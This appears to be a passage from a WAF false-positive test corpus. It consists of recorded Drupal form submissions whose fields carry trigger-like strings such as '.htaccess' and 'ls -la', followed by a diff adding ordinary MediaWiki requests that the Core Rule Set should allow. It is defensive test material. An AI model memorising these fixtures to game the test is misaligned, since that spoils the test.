"changed=1794254832&form_build_id=form-Mpy8lMgtarQcYuq-z3AIsA18G7GRmL90SxJ8sikBeGw&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=.htaccess%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-iQ-V_uMEqMD15H7SP4KXcSTRaeDo-GxWR364dg8OVnM&form_id=comment_comment_form&name=Visitor&mail=.htaccess%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-1QV5rhM_GiS-l8JbBv2oD6Vbj2aWbjbakI_hPZmwX8U&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=.htaccess&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-TQp9Y5AoKo7vgOjxbDPLFi6UWKCEwsDCZDAtCLyt0K0&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-QfBJ5oB-NllXlisHvYwgw2D26OFMUStRL1hKwmZneIM&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=.htaccess&message%5B0%5D%5Bvalue%5D=.htaccess&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=.htaccess&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-FvjNNJPW2G39UepkPOrBE4XhDxW0VM0tCaSOvishHlc&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=.htaccess&description%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254833&form_build_id=form-oGR9MfKKuJplXwsXerWc-4BgBTZ2hybTAhoNrJy-MYE&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
+602
View File
@@ -0,0 +1,602 @@
# Ordinary MediaWiki 1.46 requests that the Core Rule Set must let through at
# the defaults. They were recorded from a wiki driven by a headless Chrome and
# an API client. Each line is one request as JSON. Host names, passwords and
# session cookies are invented.
{"method": "GET", "target": "/images/README", "headers": ["Host: example.com", "User-Agent: MediaWiki/1.46.2 (https://\ud83c\udf3b.invalid)"], "body": ""}
{"method": "GET", "target": "/wiki/Main_Page", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=3x4w7", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/skins/Vector/resources/skins.vector.styles/images/link-external-small-ltr-progressive.svg?fb64d", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?title=Main_Page&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.makeCollapsible.styles%7Cmediawiki.action.history.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.feedlink%2Chelplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.special.changeslist%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Main_Page&action=history", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.history%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.DateInputWidget%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1mqik", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Main_Page&action=history", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wiki/Special:RecentChanges", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.feedlink%2Chelplink%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.rcfilters.filters.base.styles%7Cmediawiki.special.changeslist%7Cmediawiki.special.changeslist.enhanced%2Clegend%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:RecentChanges", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2CmakeCollapsible%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.rcfilters.filters.ui%7Cmediawiki.special.changeslist.legend.js%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-editing-styling%2Cicons-interactions%2Cicons-layout%2Cicons-media%2Cicons-moderation%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=6mcou", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:RecentChanges", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/wiki/Special:Random", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.typeaheadSearch%7Cmediawiki.skinning.typeaheadSearch%7Cskins.vector.search%7Cvue&skin=vector-2022&version=1f1tf", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=Lighthouse&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.special.search.styles%7Cmediawiki.widgets.SearchInputWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?search=Lighthouse&title=Special%3ASearch&go=Go", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ChighlightText%2Csuggestions%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2CsearchSuggest%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.search%7Cmediawiki.widgets.SearchInputWidget%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-interactions%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=j0mv5", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?search=Lighthouse&title=Special%3ASearch&go=Go", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=Lighthouse&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=python3&title=Special%3ASearch&go=Go", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/index.php?search=python3&title=Special%3ASearch&profile=default&fulltext=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
